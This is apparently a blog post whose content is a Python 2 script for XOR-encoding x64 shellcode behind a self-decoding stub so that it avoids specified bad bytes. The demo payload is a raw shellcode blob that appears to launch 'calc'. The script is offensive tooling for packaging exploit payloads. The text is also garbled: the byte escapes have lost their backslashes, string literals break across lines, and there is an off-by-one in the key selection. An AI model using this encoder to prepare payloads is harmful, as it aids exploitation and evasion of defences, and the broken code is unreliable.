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  • x64 QWORD Xor shellcode encoder

    #!/usr/bin/env python
    #Filename: Xor_QWORD_x64.py
    #coding=utf-8
    
    import re
    import sys
    import random
    import struct
    
    class QWORDXorEncoder:
    
    	def __init__(self):
    		self.name = "x64 QWORD Xor Encoder"
    		self.description = "x64 QWORD Xor shellcode encoder"
    		self.author = "Danny__Wei"
    		self.bad_chars = []        
    		self.bad_keys = [[] for i in range(8)]
    		self.good_keys = [[] for i in range(8)]
    		self.final_keys = []
    		self.shellcode = ""
    		self.encoded_shellcode = ""
    		self.encoded_payload_length = 0
    		self.encoder_bad_chars = ["48", "31", "c9", "81", "e9", "8d", "05", "bb", "58", "27", "2d", "f8", "ff", "e2", "f4"]
    		self.misc_comments = """
                #This is the decoder stub
    				"x48x31xC9" +                 # xor rcx, rcx
    				"x48x81xE9" + block_count +   # sub ecx, block_count
    				"x48x8Dx05xEFxFFxFFxFF" + # lea rax, [rel 0x0]
    				"x48xBBXXXXXXXX" +             # mov rbx, 0x????????????????
    				"x48x31x58x27" +             # xor [rax+0x27], rbx
    				"x48x2DxF8xFFxFFxFF" +     # sub rax, -8
    				"xE2xF4"                       # loop 0x1B
          """
    	def all_the_stats(self):
    		print "
    [Output] Encoder Name:
    " + self.name
    		string_bad_chars = ''
    		for bchar in self.bad_chars:
    			string_bad_chars += hex(bchar) + " "
    		print "
    [Output] Bad Character(s):
    " + string_bad_chars
    		print "
    [Output] Shellcode length:
    " + str(self.encoded_payload_length)
    		j = 1;
    		key = 0
    		for i in self.final_keys:
    			key += i * j
    			j *= 0x100
    		print ('
    [Output] Xor Key:
    %08X' % key)
    
    	def shellcode_to_bin(self):
    		hFile = file('Xor_x64_encoded.bin', 'wb+')
    		hFile.write(self.encoded_shellcode)
    		hFile.close()
    		return
    
    	def set_shellcode(self, shellcode):
    		shellcode = shellcode.decode('string-escape')
    		self.shellcode = bytearray(shellcode)
    		return
    
    	# This function was copied from Justin Warner (@sixdub)
    	def set_bad_characters(self, bad_characters):
    		final_bad_chars = []
    		bad_characters = bad_characters.split('x')
    
    		# Do some validation on the received characters
    		for item in bad_characters:
    			if item == '':
    				pass
    			elif item in self.encoder_bad_chars:
    				print "
    [Error] Encoder Error: Bad character specified is used for the decoder stub."
    				print "[Error] Encoder Error: Please use different bad characters or another encoder!"
    				sys.exit()
    			else:
    				if len(item) == 2:
                        # Thanks rohan (@cptjesus) for providing this regex code, and making me too lazt
                        # to do it myself
    					rohan_re_code = re.compile('[a-f0-9]{2}',flags=re.IGNORECASE)
    					if rohan_re_code.match(item):
    						final_bad_chars.append(item)
    					else:
    						print "
    [Error] Bad Character Error: Invalid bad character detected."
    						print "[Error] Bad Character Error: Please provide bad characters in \x00\x01... format."
    						sys.exit()
    				else:
    					print "
    [Error] Bad Character Error: Invalid bad character detected."
    					print "[Error] Bad Character Error: Please provide bad characters in \x00\x01... format."
    					sys.exit()
    		for x in final_bad_chars:
    			self.bad_chars.append(int("0x"+x,16))
    		return
    		
    	def find_bad_keys(self):
    		for key in range(0x100):
    			for bad in self.bad_chars:
    				char = key ^ bad
    				for count in xrange(8):
    					for i in xrange(count, len(self.shellcode), 8):
    						if char == self.shellcode[i]:
    							self.bad_keys[count].append(key)
    							break
    		return
    
    	def find_key(self):
    		for count in xrange(8):
    			for key in range(0x100):
    				if key not in self.bad_keys[count]:
    					self.good_keys[count].append(key)
    		
    		for count in xrange(8):
    			if len(self.good_keys[count]) == 0:
    				print "
    [Error] Encoder Error: Can't find available keys."
    				print "[Error] Encoder Error: Please use different bad characters or another encoder!"
    				sys.exit()
    			i = random.randint(0, len(self.good_keys[count]))
    			self.final_keys.append(self.good_keys[count][i])
    
    		return	
    		
    	def decoder_stub(self):
    		block_count = -( ( (len(self.shellcode) - 1) / 8) + 1)
    		str = struct.pack('<l', block_count)
    
    		decoder = "x48x31xC9" + "x48x81xE9" + str + "x48x8Dx05xEFxFFxFFxFF" + "x48xBBXXXXXXXX" + "x48x31x58x27" + "x48x2DxF8xFFxFFxFF" + "xE2xF4"
    		
    		'''
    		decoder =  "x48x31xC9" +               			# xor rcx, rcx
    			  "x48x81xE9" + block_count +   			# sub ecx, block_count
    			  "x48x8Dx05xEFxFFxFFxFF" + 			# lea rax, [rel 0x0]
    			  "x48xBBXXXXXXXX" +           			# mov rbx, 0x????????????????
    			  "x48x31x58x27" +           			# xor [rax+0x27], rbx
    			  "x48x2DxF8xFFxFFxFF" +    			# sub rax, -8
    			  "xE2xF4"                       			# loop 0x1B
    		'''
    		
    		return decoder
    	
    	def do_encode(self):
    		stub = self.decoder_stub()
    
    		key = 0
    		str = ''
    		for key in self.final_keys:
    			str += struct.pack('B', key)
    		
    		stub = stub.replace('XXXXXXXX', str)
    		
    		# check out the final decoder stub
    		for byte in bytearray(stub):
    			if byte in self.bad_chars:
    				print "
    [Error] Encoder Error: Bad character specified is used for the decoder stub."
    				print "[Error] Encoder Error: Please use different bad characters or another encoder!"
    				sys.exit()
    		
    		stub = bytearray(stub)
    		
    		mod = 0
    		byte = 0
    		count = 0
    		for byte in bytearray(self.shellcode):
    			if count < 8:
    				mod = count
    			else:
    				mod = count % 8
    			count += 1
    			enbyte = byte ^ self.final_keys[mod]
    			stub.append(enbyte)
    		
    		self.encoded_shellcode = stub
    		self.encoded_payload_length = len(stub)
           
    		return
    
    	def encode(self):
    		self.find_bad_keys()
    		self.find_key()
    		self.do_encode()
    
    		
    if __name__ == '__main__':
    	shellcode = (
    "xFCx48x83xE4xF0xE8xC0x00x00x00x41x51x41x50x52x51"
    "x56x48x31xD2x65x48x8Bx52x60x48x8Bx52x18x48x8Bx52"
    "x20x48x8Bx72x50x48x0FxB7x4Ax4Ax4Dx31xC9x48x31xC0"
    "xACx3Cx61x7Cx02x2Cx20x41xC1xC9x0Dx41x01xC1xE2xED"
    "x52x41x51x48x8Bx52x20x8Bx42x3Cx48x01xD0x8Bx80x88"
    "x00x00x00x48x85xC0x74x67x48x01xD0x50x8Bx48x18x44"
    "x8Bx40x20x49x01xD0xE3x56x48xFFxC9x41x8Bx34x88x48"
    "x01xD6x4Dx31xC9x48x31xC0xACx41xC1xC9x0Dx41x01xC1"
    "x38xE0x75xF1x4Cx03x4Cx24x08x45x39xD1x75xD8x58x44"
    "x8Bx40x24x49x01xD0x66x41x8Bx0Cx48x44x8Bx40x1Cx49"
    "x01xD0x41x8Bx04x88x48x01xD0x41x58x41x58x5Ex59x5A"
    "x41x58x41x59x41x5Ax48x83xECx20x41x52xFFxE0x58x41"
    "x59x5Ax48x8Bx12xE9x57xFFxFFxFFx5Dx48xBAx01x00x00"
    "x00x00x00x00x00x48x8Dx8Dx01x01x00x00x41xBAx31x8B"
    "x6Fx87xFFxD5xBBxF0xB5xA2x56x41xBAxA6x95xBDx9DxFF"
    "xD5x48x83xC4x28x3Cx06x7Cx0Ax80xFBxE0x75x05xBBx47"
    "x13x72x6Fx6Ax00x59x41x89xDAxFFxD5x63x61x6Cx63x00")
    	shell = QWORDXorEncoder()
    	shell.set_shellcode(shellcode)
    	shell.set_bad_characters('x00x0a')
    	shell.encode()
    	shell.all_the_stats()
    	shell.shellcode_to_bin()
    	
    else:
    	pass
    
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  • 原文地址:https://www.cnblogs.com/Danny-Wei/p/4438852.html
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